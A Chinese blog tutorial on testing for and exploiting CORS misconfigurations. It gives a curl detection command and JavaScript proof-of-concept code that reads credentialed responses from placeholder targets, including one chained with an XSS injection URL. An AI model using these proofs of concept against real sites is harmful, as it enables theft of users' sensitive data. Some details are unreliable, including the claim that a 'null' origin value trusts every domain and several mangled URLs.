CORS手机测试软件,CORS漏洞利用检测和利用方式

CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求。

检测方式:

1.curl访问网站

curl https://www.huasec.com -H "Origin: https://test.com" -I

检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

2.burpsuite发送请求包,查看返回包

933b9ced2a36d95c2cdb5909295eb1bf.png

tips:Access-Control-Allow-Origin的值,当其为null、意味着信任任何域。

漏洞利用:

1.同于csrf跨站请求伪造,发送钓鱼链接,读取用户敏感数据。

poc:

CORS POC Exploit

Extract SID

Exploit

function cors() {

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

document.getElementById("demo").innerHTML = alert(this.responseText);

}

};

xhttp.open("GET", "https://target.com/info/", true);

xhttp.withCredentials = true;

xhttp.send();

}

用户点击button弹出响应信息

document.getElementById("demo").innerHTML = alert(this.responseText);

上面代码只是弹出响应信息,你还可以获取cookie,针对http-only js代码无法读取的情况:

cors exploit

搭建的攻击服务器恶意代码 tes.php:

2.结合xss漏洞利用cors漏洞,针对http_only js代码无法读取

poc:

function exploit() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "http://192.168.1.1/index.php", true); xhttp.withCredentials = true; xhttp.send(); } exploit();

利用:

http://192.168.1.1/index.php?function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();&form_cartes=73&iframestat=1

同理结合上面代码,发送到你的服务器

批量检测:

0d929ebaa6553cee7c372a35ae7fd11b.png

下载作者源码,发现检测方式同上,有兴趣的小伙伴可以继续分析,我先滚去睡觉了。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值